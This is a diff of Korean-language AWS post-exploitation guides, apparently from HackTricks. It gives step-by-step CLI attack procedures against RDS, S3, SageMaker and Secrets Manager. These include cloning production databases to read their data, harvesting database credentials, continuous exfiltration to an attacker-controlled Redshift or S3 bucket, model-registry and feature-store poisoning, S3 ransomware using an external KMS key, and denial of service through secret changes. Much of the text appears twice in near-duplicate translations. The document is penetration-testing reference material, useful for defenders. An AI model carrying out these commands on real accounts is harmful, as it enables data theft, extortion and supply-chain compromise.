- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (if exposing publicly)
영향: attacker가 제어하는 자격증명을 가진 replica를 통해 production 데이터에 대한 읽기 전용 접근; primary 건드려지지 않고 복제가 계속되므로 탐지 가능성.
영향: 공격자가 제어하는 credentials로 구성된 replica를 통해 production 데이터에 대한 읽기 전용 접근을 얻을 수 있으며; primary 건드지 않고 replication이 계속되므로 탐지 가능성아집니다.
```bash
# 1) Recon: find non-Aurora sources with backups enabled
aws rds describe-db-instances \
@@ -304,13 +304,13 @@ REPL_ENDPOINT=$(aws rds describe-db-instances --db-instance-identifier <REPL_ID>
# Optional: promote for persistence
# aws rds promote-read-replica --db-instance-identifier <REPL_ID>
```
예시 증거 (MySQL):
- 복제 DB 상태: `available`, 읽기 복제: `replicating`
- 새 비밀번호로 성공적으로 연결되었고 `@@read_only=1`로 읽기 전용 레플리카 접근 확인
증거 예시 (MySQL):
- 레플리카 DB 상태: `available`, read replication: `replicating`
- 새 비밀번호로의 연결 성공 및 `@@read_only=1`로 읽기 전용 레플리카 접근 확인됨.
### `rds:CreateBlueGreenDeployment`, `rds:ModifyDBInstance`
RDS Blue/Green을 악용해 production DB를 지속적으로 복제되는 읽기 전용 green 환경으로 클론다. 그런 다음 blue (prod) 인스턴스를 건드리지 않고 green 마스터 자격증명을 재설정해 데이터에 접근다. 이는 스냅샷 공유보다 은밀하며 소스만 모니터링하는 감시를 자주 우회한다.
RDS Blue/Green을 악용하여 프로덕션 DB를 지속적으로 복제되는 읽기 전용 green 환경으로 클론합니다. 그런 다음 green 마스터 자격 증명을 재설정하여 blue (prod) 인스턴스를 건드리지 않고 데이터에 접근합니다. 이는 snapshot sharing보다 은밀하며, 종종 소스만 모니터링하는 감시를 우회합니다.
```bash
# 1) Recon find eligible source (nonAurora MySQL/PostgreSQL in the same account)
aws rds describe-db-instances \
@@ -357,22 +357,21 @@ aws rds delete-blue-green-deployment \
--blue-green-deployment-identifier <BGD_ID> \
--delete-target true
```
영향: 프로덕션 인스턴스를 수정하지 않고 거의 실시간에 가까운 프로덕션 클론에 대해 읽기 전용이지만 전체 데이터 접근 권한을 얻습니다. 은밀한 데이터 추출 오프라인 분석에 유용합니다.
영향: 읽기 전용이지만 프로덕션 인스턴스를 수정하지 않고 프로덕션의 거의 실시간 클론에 대한 전체 데이터 접근 권한을 가집니다. 은밀한 데이터 추출 오프라인 분석에 유용합니다.
### Out-of-band SQL via RDS Data API by enabling HTTP endpoint + resetting master password
### RDS Data API를 통한 아웃-오브-밴드 SQL by enabling HTTP endpoint + 마스터 비밀번호 재설정
Aurora를 악용하여 대상 클러스터에서 RDS Data API HTTP endpoint를 활성화하고 마스터 암호를 공격자가 제어하는 값으로 재설정한 다음 HTTPS를 통해 SQL을 실행합니다(직접적인 VPC 네트워크 경로 불필요). Data API/EnableHttpEndpoint를 지원하는 Aurora 엔진에서 작동합니다(예: Aurora MySQL 8.0 provisioned; 일부 Aurora PostgreSQL/MySQL 버전).
타깃 클러스터에서 RDS Data API HTTP endpoint를 활성화하도록 Aurora를 악용하고, 마스터 비밀번호를 공격자가 제어하는 값으로 재설정한 뒤 HTTPS를 통해 SQL을 실행합니다(별도의 VPC 네트워크 경로 불필요). Data API/EnableHttpEndpoint를 지원하는 Aurora 엔진에서 동작합니다(예: Aurora MySQL 8.0 provisioned; 일부 Aurora PostgreSQL/MySQL 버전).
Permissions (minimum):
권한(최소):
- rds:DescribeDBClusters, rds:ModifyDBCluster (or rds:EnableHttpEndpoint)
- secretsmanager:CreateSecret
- rds-data:ExecuteStatement (and rds-data:BatchExecuteStatement if used)
영향: 네트워크 분할을 우회하고 DB에 대한 직접 VPC 연결 없이 AWS APIs를 통해 데이터를 유출(exfiltrate)합니다.
영향: 네트워크 분할을 우회하고 DB에 대한 직접 VPC 연결 없이 AWS APIs를 통해 데이터를 exfiltrate합니다.
<details>
<summary>엔드-투-엔드 CLI (Aurora MySQL 예시)</summary>
<summary>엔드엔드 CLI (Aurora MySQL 예시)</summary>
```bash
# 1) Identify target cluster ARN
REGION=us-east-1
@@ -424,22 +423,22 @@ aws rds-data execute-statement --region $REGION --resource-arn "$CLUSTER_ARN" \
```
</details>
노트:
- rds-data가 다중 문장 SQL을 거부면, execute-statement를 개별적으로 호출하세요.
- modify-db-cluster --enable-http-endpoint가 효과가 없는 엔진에서는 rds enable-http-endpoint --resource-arn를 사용하세요.
- 엔진/버전이 실제로 Data API를 지원하는지 확인하세요. 그렇지 않으면 HttpEndpointEnabled가 False로 남습니다.
참고:
- 다중 문장(SQL)이 `rds-data`에 의해 거부면, 별도의 `execute-statement` 호출을 수행하세요.
- `modify-db-cluster --enable-http-endpoint`가 효과가 없는 엔진의 경우 `rds enable-http-endpoint --resource-arn`를 사용하세요.
- 엔진/버전이 실제로 Data API를 지원하는지 확인하세요; 그렇지 않으면 `HttpEndpointEnabled`가 False로 남습니다.
### RDS Proxy 인증 시크릿으로 DB 자격 증명 수집 (`rds:DescribeDBProxies` + `secretsmanager:GetSecretValue`)
### RDS Proxy 인증 Secret을 통한 DB 자격 증명 수집 (`rds:DescribeDBProxies` + `secretsmanager:GetSecretValue`)
RDS Proxy 구성을 악용해 백엔드 인증에 사용되는 Secrets Manager 시크릿을 찾아낸 다음, 시크릿을 읽어 DB 자격 증명을 획득합니다. 많은 환경에서 `secretsmanager:GetSecretValue` 권한을 광범위하게 부여하므로 DB 자격 증명으로 전환하기 쉬운 경로가 됩니다. 시크릿이 CMK를 사용한다면, 잘못 범위정된 KMS 권한으로 `kms:Decrypt`가능할 수 있습니다.
RDS Proxy 구성을 악용해 백엔드 인증에 사용되는 Secrets Manager secret을 찾아낸 다음, 해당 secret을 읽어 데이터베이스 자격 증명을 획득합니다. 많은 환경이 광범위한 `secretsmanager:GetSecretValue` 권한을 부여하므로 DB 자격 증명으로 전환이 용이합니다. Secret이 CMK를 사용하는 경우, 잘못 범위가 지정된 KMS 권한으로 `kms:Decrypt`허용될 수 있습니다.
필요 권한(최소):
Permissions needed (minimum):
- `rds:DescribeDBProxies`
- `secretsmanager:GetSecretValue` on the referenced SecretArn
- Optional when the secret uses a CMK: `kms:Decrypt` on that key
영향: 프록시에 구성된 DB 사용자명/비밀번호가 즉시 노출되며, 직접 DB 접근 또는 추가적인 lateral movement가 가능해집니다.
Impact: 프록시에 구성된 DB 사용자명/비밀번호가 즉시 노출되며; 직접 DB 접근 또는 추가 lateral movement가 가능해집니다.
단계
```bash
@@ -473,7 +472,7 @@ aws rds create-db-proxy --db-proxy-name p0 --engine-family MYSQL \
aws rds wait db-proxy-available --db-proxy-name p0
# Now run the enumeration + secret read from the Steps above
```
정리 (실습)
정리 ()
```bash
aws rds delete-db-proxy --db-proxy-name p0
aws iam detach-role-policy --role-name rds-proxy-secret-role --policy-arn arn:aws:iam::aws:policy/SecretsManagerReadWrite
@@ -482,7 +481,7 @@ aws secretsmanager delete-secret --secret-id rds/proxy/aurora-demo --force-delet
```
### Stealthy continuous exfiltration via Aurora zeroETL to Amazon Redshift (rds:CreateIntegration)
Aurora PostgreSQL zeroETL 통합을 악용 운영 데이터를 자신이 제어하는 Redshift Serverless namespace로 지속적으로 복제니다. 특정 Aurora cluster ARN에 대해 CreateInboundIntegration/AuthorizeInboundIntegration을 허용하는 관대한 Redshift resource policy가 있으면, 공격자는 DB creds, snapshots 또는 네트워크 노출 없이 거의 실시간으로 데이터 복본을 구축할 수 있습니다.
Aurora PostgreSQL zeroETL 통합을 악용하여 운영 데이터를 공격자가 제어하는 Redshift Serverless namespace로 지속적으로 복제할 수 있습니다. 특정 Aurora cluster ARN에 대해 CreateInboundIntegration/AuthorizeInboundIntegration을 허용하는 관대한 Redshift resource policy가 있으면, 공격자는 DB creds, snapshots 또는 네트워크 노출 없이 거의 실시간에 가까운 데이터 복본을 확립할 수 있습니다.
필요 권한(최소):
- `rds:CreateIntegration`, `rds:DescribeIntegrations`, `rds:DeleteIntegration`
@@ -490,10 +489,10 @@ Aurora PostgreSQL zeroETL 통합을 악용해 운영 데이터를 자신이
- `redshift-data:ExecuteStatement/GetStatementResult/ListDatabases` (to query)
- `rds-data:ExecuteStatement` (optional; to seed data if needed)
테스트된 환경: us-east-1, Aurora PostgreSQL 16.4 (Serverless v2), Redshift Serverless.
테스트 대상: us-east-1, Aurora PostgreSQL 16.4 (Serverless v2), Redshift Serverless.
<details>
<summary>1) Redshift Serverless namespace 및 workgroup 생성</summary>
<summary>1) Redshift Serverless namespace + 워크그룹 생성</summary>
```bash
REGION=us-east-1
RS_NS_ARN=$(aws redshift-serverless create-namespace --region $REGION --namespace-name ztl-ns \
@@ -509,7 +508,7 @@ aws redshift-serverless update-workgroup --region $REGION --workgroup-name ztl-w
</details>
<details>
<summary>2) Redshift 리소스 정책 구성하여 Aurora 소스를 허용</summary>
<summary>2) Aurora 소스를 허용하도록 Redshift 리소스 정책 구성</summary>
```bash
ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)
SRC_ARN=<AURORA_CLUSTER_ARN>
@@ -571,7 +570,7 @@ SRC_ARN=$(aws rds describe-db-clusters --region $REGION --db-cluster-identifier
</details>
<details>
<summary>4) RDS에서 zeroETL 통합 생성</summary>
<summary>4) RDS에서 zeroETL integration 생성</summary>
```bash
# Include all tables in the default 'postgres' database
aws rds create-integration --region $REGION --source-arn "$SRC_ARN" \
@@ -583,7 +582,7 @@ aws redshift describe-inbound-integrations --region $REGION --target-arn "$RS_NS
</details>
<details>
<summary>5) Redshift에서 복제된 데이터 materialize하고 쿼리하기</summary>
<summary>5) Redshift에서 복제된 데이터 materialize 쿼리하기</summary>
```bash
# Create a Redshift database from the inbound integration (use integration_id from SVV_INTEGRATION)
aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --database dev \
@@ -597,11 +596,11 @@ aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --d
</details>
테스트에서 관찰된 증거:
- redshift describe-inbound-integrations: Integration arn:...377a462b-...에 대해 Status ACTIVE
- SVV_INTEGRATION은 DB 생성 이전에 integration_id 377a462b-c42c-4f08-937b-77fe75d98211 state PendingDbConnectState를 보여주었습니다.
- CREATE DATABASE FROM INTEGRATION 이후, 테이블 목록에서 schema ztl table customers가 나타났고; ztl.customers 조회하면 2행 (Alice, Bob)이 반환되었습니다.
- redshift describe-inbound-integrations: Status ACTIVE for Integration arn:...377a462b-...
- SVV_INTEGRATION에 integration_id 377a462b-c42c-4f08-937b-77fe75d98211 state PendingDbConnectState가 DB 생성 이전에 표시됨.
- CREATE DATABASE FROM INTEGRATION 테이블 나열에서 schema ztl table customers가 나타났고, ztl.customers에서 조회한 결과 2행(Alice, Bob)이 반환.
영향: 공격자가 제어하는 Redshift Serverless로 선택된 Aurora PostgreSQL 테이블의 지속적이고 준실시간 exfiltration이 가능하며, 이 과정에서 데이터베이스 자격증명, 백업 또는 소스 클러스터에 대한 네트워크 액세스를 사용하지 않습니다.
영향: 공격자가 제어하는 Redshift Serverless로 선택된 Aurora PostgreSQL 테이블이 데이터베이스 자격증명, 백업 또는 소스 클러스터에 대한 네트워크 접근 없이 지속적이고 거의 실시간으로 exfiltration될 수 있음.
{{#include ../../../banners/hacktricks-training.md}}
{{#include ../../../../banners/hacktricks-training.md}}
@@ -1,38 +0,0 @@
# AWS - S3 포스트 익스플로이테이션
{{#include ../../../banners/hacktricks-training.md}}
## S3
자세한 정보는 다음을 확인하세요:
{{#ref}}
../aws-services/aws-s3-athena-and-glacier-enum.md
{{#endref}}
### 민감한 정보
때때로 버킷에서 읽을 수 있는 민감한 정보를 찾을 수 있습니다. 예를 들어, terraform 상태 비밀이 있습니다.
### 피벗팅
다양한 플랫폼이 S3를 사용하여 민감한 자산을 저장할 수 있습니다.\
예를 들어, **airflow**는 **DAGs** **코드**를 거기에 저장할 수 있으며, **웹 페이지**는 S3에서 직접 제공될 수 있습니다. 쓰기 권한이 있는 공격자는 버킷의 **코드를 수정하여** 다른 플랫폼으로 **피벗**하거나 JS 파일을 수정하여 **계정을 탈취**할 수 있습니다.
### S3 랜섬웨어
이 시나리오에서 **공격자는 자신의 AWS 계정** 또는 다른 손상된 계정에서 KMS(키 관리 서비스) 키를 생성합니다. 그런 다음 이 **키를 전 세계 누구나 접근할 수 있도록** 하여 모든 AWS 사용자, 역할 또는 계정이 이 키를 사용하여 객체를 암호화할 수 있도록 합니다. 그러나 객체는 복호화할 수 없습니다.
공격자는 **대상 S3 버킷을 식별하고** 다양한 방법을 사용하여 쓰기 수준의 접근 권한을 얻습니다. 이는 공개적으로 노출된 잘못된 버킷 구성 때문일 수 있거나 공격자가 AWS 환경 자체에 접근할 수 있기 때문입니다. 공격자는 일반적으로 개인 식별 정보(PII), 보호된 건강 정보(PHI), 로그, 백업 등과 같은 민감한 정보를 포함하는 버킷을 목표로 합니다.
버킷이 랜섬웨어 공격의 대상이 될 수 있는지 확인하기 위해 공격자는 그 구성을 확인합니다. 여기에는 **S3 객체 버전 관리**가 활성화되어 있는지와 **다중 인증 삭제(MFA 삭제)가 활성화되어 있는지** 확인하는 것이 포함됩니다. 객체 버전 관리가 활성화되어 있지 않으면 공격자는 진행할 수 있습니다. 객체 버전 관리가 활성화되어 있지만 MFA 삭제가 비활성화되어 있으면 공격자는 **객체 버전 관리를 비활성화**할 수 있습니다. 객체 버전 관리와 MFA 삭제가 모두 활성화되어 있으면 공격자가 특정 버킷을 랜섬웨어로 공격하기가 더 어려워집니다.
AWS API를 사용하여 공격자는 **자신의 KMS 키를 사용하여 버킷의 각 객체를 암호화된 복사본으로 교체**합니다. 이는 버킷의 데이터를 효과적으로 암호화하여 키 없이는 접근할 수 없게 만듭니다.
추가 압박을 가하기 위해 공격자는 공격에 사용된 KMS 키의 삭제를 예약합니다. 이는 대상에게 키가 삭제되기 전에 데이터를 복구할 수 있는 7일의 시간을 제공합니다.
마지막으로, 공격자는 일반적으로 "ransom-note.txt"라는 이름의 최종 파일을 업로드하여 대상에게 파일을 복구하는 방법에 대한 지침을 포함합니다. 이 파일은 암호화 없이 업로드되어 대상의 주목을 끌고 랜섬웨어 공격을 인식하게 하려는 의도가 있습니다.
**자세한 정보는** [**원본 연구를 확인하세요**](https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/)**.**
{{#include ../../../banners/hacktricks-training.md}}
@@ -0,0 +1,38 @@
# AWS - S3 Post Exploitation
{{#include ../../../../banners/hacktricks-training.md}}
## S3
자세한 정보는 다음을 확인하세요:
{{#ref}}
../../aws-services/aws-s3-athena-and-glacier-enum.md
{{#endref}}
### 민감한 정보
때때로 버킷에 읽을 수 있는 형태로 민감한 정보가 저장되어 있는 것을 발견할 수 있습니다. 예: terraform state secrets.
### Pivoting
Different platforms could be using S3 to store sensitive assets.\
For example, **airflow** could be storing **DAGs** **code** in there, or **web pages** could be directly served from S3. 쓰기 권한을 가진 공격자는 버킷의 **modify the code**를 통해 다른 플랫폼으로 **pivot**하거나, JS 파일을 수정해 **takeover accounts**할 수 있습니다.
### S3 Ransomware
In this scenario, the **attacker creates a KMS (Key Management Service) key in their own AWS account** or another compromised account. They then make this **key accessible to anyone in the world**, allowing any AWS user, role, or account to encrypt objects using this key. However, the objects cannot be decrypted.
공격자는 다양한 방법을 사용해 목표 **S3 bucket and gains write-level access**를 식별하고 여기에 쓰기 권한을 획득합니다. 이는 버킷이 공개적으로 노출되는 잘못된 구성 때문이거나 공격자가 AWS 환경 자체에 접근했기 때문일 수 있습니다. 공격자는 일반적으로 개인 식별 정보(PII), 보호된 건강 정보(PHI), 로그, 백업 등 민감한 정보를 포함한 버킷을 목표로 삼습니다.
공격자는 해당 버킷을 랜섬웨어의 대상이 될 수 있는지 판단하기 위해 구성 설정을 확인합니다. 여기에는 **S3 Object Versioning**이 활성화되어 있는지와 **multi-factor authentication delete (MFA delete) is enabled** 여부를 확인하는 것이 포함됩니다. Object Versioning이 활성화되어 있지 않으면 공격자는 진행할 수 있습니다. Object Versioning은 활성화되어 있지만 MFA delete가 비활성화되어 있으면 공격자는 **disable Object Versioning**할 수 있습니다. Object Versioning과 MFA delete 둘 다 활성화되어 있으면, 해당 특정 버킷을 랜섬웨어로 만드는 것은 더 어려워집니다.
AWS API를 사용하여 공격자는 **replaces each object in the bucket with an encrypted copy using their KMS key**. 이로써 버킷의 데이터가 암호화되어 키 없이는 접근할 수 없게 됩니다.
더 큰 압박을 주기 위해 공격자는 공격에 사용된 KMS 키의 삭제를 예약합니다. 이렇게 하면 키가 삭제되어 데이터가 영구적으로 손실되기 전까지 대상에게 7일 간의 복구 기간이 주어집니다.
마지막으로 공격자는 보통 "ransom-note.txt"라는 이름의 최종 파일을 업로드할 수 있으며, 이 파일에는 대상이 파일을 복구하는 방법에 대한 지침이 들어 있습니다. 이 파일은 대상의 주의를 끌고 랜섬웨어 공격을 인지시키기 위해 암호화하지 않은 상태로 업로드됩니다.
**For more info** [**check the original research**](https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/)**.**
{{#include ../../../../banners/hacktricks-training.md}}
@@ -0,0 +1,179 @@
# AWS - SageMaker Post-Exploitation
{{#include ../../../../banners/hacktricks-training.md}}
## SageMaker 엔드포인트 데이터 탈취 via UpdateEndpoint DataCaptureConfig
SageMaker 엔드포인트 관리를 악용해 모델이나 컨테이너를 건드리지 않고 전체 요청/응답을 공격자가 제어하는 S3 버킷으로 캡처하도록 활성화합니다. 무(또는 저)다운타임 롤링 업데이트를 사용하며 엔드포인트 관리 권한만 필요합니다.
### 요구사항
- IAM: `sagemaker:DescribeEndpoint`, `sagemaker:DescribeEndpointConfig`, `sagemaker:CreateEndpointConfig`, `sagemaker:UpdateEndpoint`
- S3: `s3:CreateBucket` (또는 동일한 계정의 기존 버킷 사용)
- Optional (if using SSEKMS): `kms:Encrypt` on the chosen CMK
- Target: 기존의 동일 계정/리전 내 InService 실시간 엔드포인트
### 단계
1) InService 엔드포인트를 식별하고 현재 production variants를 수집
```bash
REGION=${REGION:-us-east-1}
EP=$(aws sagemaker list-endpoints --region $REGION --query "Endpoints[?EndpointStatus=='InService']|[0].EndpointName" --output text)
echo "Endpoint=$EP"
CFG=$(aws sagemaker describe-endpoint --region $REGION --endpoint-name "$EP" --query EndpointConfigName --output text)
echo "EndpointConfig=$CFG"
aws sagemaker describe-endpoint-config --region $REGION --endpoint-config-name "$CFG" --query ProductionVariants > /tmp/pv.json
```
2) 캡처를 위한 공격자 S3 대상 준비
```bash
ACC=$(aws sts get-caller-identity --query Account --output text)
BUCKET=ht-sm-capture-$ACC-$(date +%s)
aws s3 mb s3://$BUCKET --region $REGION
```
3) 동일한 variants를 유지하되 DataCapture를 attacker bucket으로 활성화하는 새로운 EndpointConfig를 생성하세요
참고: CLI 검증을 만족하는 명시적인 콘텐츠 유형을 사용하세요
```bash
NEWCFG=${CFG}-dc
cat > /tmp/dc.json << JSON
{
"EnableCapture": true,
"InitialSamplingPercentage": 100,
"DestinationS3Uri": "s3://$BUCKET/capture",
"CaptureOptions": [
{"CaptureMode": "Input"},
{"CaptureMode": "Output"}
],
"CaptureContentTypeHeader": {
"JsonContentTypes": ["application/json"],
"CsvContentTypes": ["text/csv"]
}
}
JSON
aws sagemaker create-endpoint-config \
--region $REGION \
--endpoint-config-name "$NEWCFG" \
--production-variants file:///tmp/pv.json \
--data-capture-config file:///tmp/dc.json
```
4) 롤링 업데이트로 새 설정을 적용합니다 (다운타임 최소/없음)
```bash
aws sagemaker update-endpoint --region $REGION --endpoint-name "$EP" --endpoint-config-name "$NEWCFG"
aws sagemaker wait endpoint-in-service --region $REGION --endpoint-name "$EP"
```
5) 최소 하나의 추론 호출 생성 (라이브 트래픽이 있는 경우 선택 사항)
```bash
echo '{"inputs":[1,2,3]}' > /tmp/payload.json
aws sagemaker-runtime invoke-endpoint --region $REGION --endpoint-name "$EP" \
--content-type application/json --accept application/json \
--body fileb:///tmp/payload.json /tmp/out.bin || true
```
6) 공격자 S3에서 캡처 검증
```bash
aws s3 ls s3://$BUCKET/capture/ --recursive --human-readable --summarize
```
### 영향
- 대상 엔드포인트에서 공격자가 제어하는 S3 버킷으로 실시간 추론 요청 및 응답 페이로드(및 메타데이터)를 완전히 유출합니다.
- 모델/컨테이너 이미지에는 변경이 없고 엔드포인트 수준의 변경만으로 최소한의 운영 중단으로 은밀한 데이터 탈취 경로를 제공합니다.
## SageMaker async inference output hijack via UpdateEndpoint AsyncInferenceConfig
현재 EndpointConfig를 복제하고 AsyncInferenceConfig.OutputConfig의 S3OutputPath/S3FailurePath를 설정하여 엔드포인트 관리를 악용해 비동기 추론 출력을 공격자가 제어하는 S3 버킷으로 리디렉션합니다. 이렇게 하면 모델/컨테이너를 수정하지 않고도 모델 예측(및 컨테이너에 포함된 변환된 입력)을 유출할 수 있습니다.
### 요구사항
- IAM: `sagemaker:DescribeEndpoint`, `sagemaker:DescribeEndpointConfig`, `sagemaker:CreateEndpointConfig`, `sagemaker:UpdateEndpoint`
- S3: 모델 실행 역할이나 관대한 버킷 정책을 통해 공격자가 제어하는 S3 버킷에 쓸 수 있는 권한
- Target: 비동기 호출이 사용 중(또는 사용될 예정)인 InService 엔드포인트
### 단계
1) 대상 엔드포인트에서 현재 ProductionVariants를 수집
```bash
REGION=${REGION:-us-east-1}
EP=<target-endpoint-name>
CUR_CFG=$(aws sagemaker describe-endpoint --region $REGION --endpoint-name "$EP" --query EndpointConfigName --output text)
aws sagemaker describe-endpoint-config --region $REGION --endpoint-config-name "$CUR_CFG" --query ProductionVariants > /tmp/pv.json
```
2) 공격자 버킷을 생성하세요 (model execution role이 PutObject할 수 있는지 확인하세요)
```bash
ACC=$(aws sts get-caller-identity --query Account --output text)
BUCKET=ht-sm-async-exfil-$ACC-$(date +%s)
aws s3 mb s3://$BUCKET --region $REGION || true
```
3) EndpointConfig를 복제하고 AsyncInference 출력물을 attacker bucket으로 hijack
```bash
NEWCFG=${CUR_CFG}-async-exfil
cat > /tmp/async_cfg.json << JSON
{"OutputConfig": {"S3OutputPath": "s3://$BUCKET/async-out/", "S3FailurePath": "s3://$BUCKET/async-fail/"}}
JSON
aws sagemaker create-endpoint-config --region $REGION --endpoint-config-name "$NEWCFG" --production-variants file:///tmp/pv.json --async-inference-config file:///tmp/async_cfg.json
aws sagemaker update-endpoint --region $REGION --endpoint-name "$EP" --endpoint-config-name "$NEWCFG"
aws sagemaker wait endpoint-in-service --region $REGION --endpoint-name "$EP"
```
4) async invocation을 트리거하고 objects가 attacker S3에 도착하는지 확인
```bash
aws s3 cp /etc/hosts s3://$BUCKET/inp.bin
aws sagemaker-runtime invoke-endpoint-async --region $REGION --endpoint-name "$EP" --input-location s3://$BUCKET/inp.bin >/tmp/async.json || true
sleep 30
aws s3 ls s3://$BUCKET/async-out/ --recursive || true
aws s3 ls s3://$BUCKET/async-fail/ --recursive || true
```
### 영향
- 공격자가 제어하는 S3로 asynchronous inference 결과(및 error bodies)를 리다이렉트하여 predictions 및 컨테이너가 생성하는 잠재적으로 민감한 pre/post-processed inputs의 covert exfiltration을 가능하게 하며, model code나 image를 변경하지 않고 최소/무 downtime으로 수행될 수 있습니다.
## SageMaker Model Registry supply-chain injection via CreateModelPackage(Approved)
If an attacker can CreateModelPackage on a target SageMaker Model Package Group, they can register a new model version that points to an attacker-controlled container image and immediately mark it Approved. Many CI/CD pipelines auto-deploy Approved model versions to endpoints or training jobs, resulting in attacker code execution under the services execution roles. Cross-account exposure can be amplified by a permissive ModelPackageGroup resource policy.
### 요구사항
- IAM (minimum to poison an existing group): `sagemaker:CreateModelPackage` on the target ModelPackageGroup
- 선택 사항 (그룹이 없을 경우 생성하기 위해): `sagemaker:CreateModelPackageGroup`
- S3: 참조된 ModelDataUrl에 대한 Read access (또는 attacker-controlled artifacts 호스팅)
- 대상: 다운스트림 자동화가 Approved 버전을 감시하는 Model Package Group
### 단계
1) 리전 설정 및 대상 Model Package Group 생성/검색
```bash
REGION=${REGION:-us-east-1}
MPG=victim-group-$(date +%s)
aws sagemaker create-model-package-group --region $REGION --model-package-group-name $MPG --model-package-group-description "test group"
```
2) S3에 더미 모델 데이터 준비
```bash
ACC=$(aws sts get-caller-identity --query Account --output text)
BUCKET=ht-sm-mpkg-$ACC-$(date +%s)
aws s3 mb s3://$BUCKET --region $REGION
head -c 1024 </dev/urandom > /tmp/model.tar.gz
aws s3 cp /tmp/model.tar.gz s3://$BUCKET/model/model.tar.gz --region $REGION
```
3) AWS의 공개 DLC image를 참조하는 악성(여기서는 무해한) Approved model package version 등록하기
```bash
IMG="683313688378.dkr.ecr.$REGION.amazonaws.com/sagemaker-scikit-learn:1.2-1-cpu-py3"
cat > /tmp/inf.json << JSON
{
"Containers": [
{
"Image": "$IMG",
"ModelDataUrl": "s3://$BUCKET/model/model.tar.gz"
}
],
"SupportedContentTypes": ["text/csv"],
"SupportedResponseMIMETypes": ["text/csv"]
}
JSON
aws sagemaker create-model-package --region $REGION --model-package-group-name $MPG --model-approval-status Approved --inference-specification file:///tmp/inf.json
```
4) 새로 승인된 버전이 존재하는지 확인
```bash
aws sagemaker list-model-packages --region $REGION --model-package-group-name $MPG --output table
```
### 영향
- 공격자가 제어하는 코드를 참조하는 Approved 버전으로 Model Registry를 오염시킬 수 있습니다. Approved 모델을 자동으로 배포하는 Pipelines는 공격자 이미지(attacker image)를 가져와 실행할 수 있으며, 그 결과 endpoint/training roles 권한으로 코드 실행이 발생할 수 있습니다.
- 권한이 느슨한 ModelPackageGroup 리소스 정책(PutModelPackageGroupPolicy)이 설정된 경우, 이 악용은 cross-account로도 유발될 수 있습니다.
## Feature store 오염
`sagemaker:PutRecord` 권한을 사용해 OnlineStore가 활성화된 Feature Group에서 online inference에 사용되는 실시간 feature 값을 덮어쓸 수 있습니다. `sagemaker:GetRecord`와 결합하면 공격자가 민감한 feature를 읽을 수 있습니다. 이 공격은 models나 endpoints에 대한 접근을 필요로 하지 않습니다.
{{#ref}}
feature-store-poisoning.md
{{/ref}}
@@ -0,0 +1,50 @@
# SageMaker Feature Store online store poisoning
OnlineStore가 활성화된 Feature Group에서 `sagemaker:PutRecord`를 남용하여 온라인 추론에서 사용되는 실시간 feature 값을 덮어쓸 수 있습니다. `sagemaker:GetRecord`와 결합하면 공격자가 민감한 feature 값을 읽을 수 있습니다. 이는 models 또는 endpoints에 대한 접근을 필요로 하지 않습니다.
## Requirements
- 권한: `sagemaker:ListFeatureGroups`, `sagemaker:DescribeFeatureGroup`, `sagemaker:PutRecord`, `sagemaker:GetRecord`
- 대상: OnlineStore가 활성화된 Feature Group (일반적으로 실시간 추론을 지원함)
## Steps
1) 테스트용으로 작은 Online Feature Group을 선택하거나 생성하십시오.
```bash
REGION=${REGION:-us-east-1}
FG=$(aws sagemaker list-feature-groups --region $REGION --query "FeatureGroupSummaries[?OnlineStoreConfig!=null]|[0].FeatureGroupName" --output text)
if [ -z "$FG" -o "$FG" = "None" ]; then
ACC=$(aws sts get-caller-identity --query Account --output text)
FG=ht-fg-$ACC-$(date +%s)
ROLE_ARN=$(aws iam get-role --role-name AmazonSageMaker-ExecutionRole --query Role.Arn --output text 2>/dev/null || echo arn:aws:iam::$ACC:role/service-role/AmazonSageMaker-ExecutionRole)
aws sagemaker create-feature-group --region $REGION --feature-group-name "$FG" --record-identifier-feature-name entity_id --event-time-feature-name event_time --feature-definitions "[{\"FeatureName\":\"entity_id\",\"FeatureType\":\"String\"},{\"FeatureName\":\"event_time\",\"FeatureType\":\"String\"},{\"FeatureName\":\"risk_score\",\"FeatureType\":\"Fractional\"}]" --online-store-config "{\"EnableOnlineStore\":true}" --role-arn "$ROLE_ARN"
echo "Waiting for feature group to be in Created state..."
for i in $(seq 1 40); do
ST=$(aws sagemaker describe-feature-group --region $REGION --feature-group-name "$FG" --query FeatureGroupStatus --output text || true)
echo $ST; [ "$ST" = "Created" ] && break; sleep 15
done
fi
```
2) 온라인 레코드 삽입/덮어쓰기 (poison)
```bash
NOW=$(date -u +%Y-%m-%dT%H:%M:%SZ)
cat > /tmp/put.json << JSON
{
"FeatureGroupName": "$FG",
"Record": [
{"FeatureName": "entity_id", "ValueAsString": "user-123"},
{"FeatureName": "event_time", "ValueAsString": "$NOW"},
{"FeatureName": "risk_score", "ValueAsString": "0.99"}
],
"TargetStores": ["OnlineStore"]
}
JSON
aws sagemaker-featurestore-runtime put-record --region $REGION --cli-input-json file:///tmp/put.json
```
3) 조작을 확인하기 위해 레코드를 다시 읽어본다.
```bash
aws sagemaker-featurestore-runtime get-record --region $REGION --feature-group-name "$FG" --record-identifier-value-as-string user-123 --feature-name risk_score --query "Record[0].ValueAsString"
```
예상: risk_score returns 0.99 (attacker-set), proving ability to change online features consumed by models.
## 영향
- Real-time integrity attack: endpoints/models을 건드리지 않고 production models에서 사용되는 features를 조작할 수 있음.
- 기밀성 위험: OnlineStore에서 GetRecord를 통해 민감한 features를 읽을 수 있음.
@@ -1,130 +0,0 @@
# AWS - Secrets Manager Post Exploitation
{{#include ../../../banners/hacktricks-training.md}}
## Secrets Manager
자세한 정보는 다음을 확인하세요:
{{#ref}}
../aws-services/aws-secrets-manager-enum.md
{{#endref}}
### Secrets 읽기
**비밀 자체는 민감한 정보입니다.** 읽는 방법은 [privesc 페이지](../aws-privilege-escalation/aws-secrets-manager-privesc.md)를 확인하세요.
### DoS 비밀 값 변경
비밀 값의 값을 변경하면 **해당 값에 의존하는 모든 시스템을 DoS할 수 있습니다.**
> [!WARNING]
> 이전 값들도 저장되어 있으므로, 이전 값으로 되돌리는 것은 쉽습니다.
```bash
# Requires permission secretsmanager:PutSecretValue
aws secretsmanager put-secret-value \
--secret-id MyTestSecret \
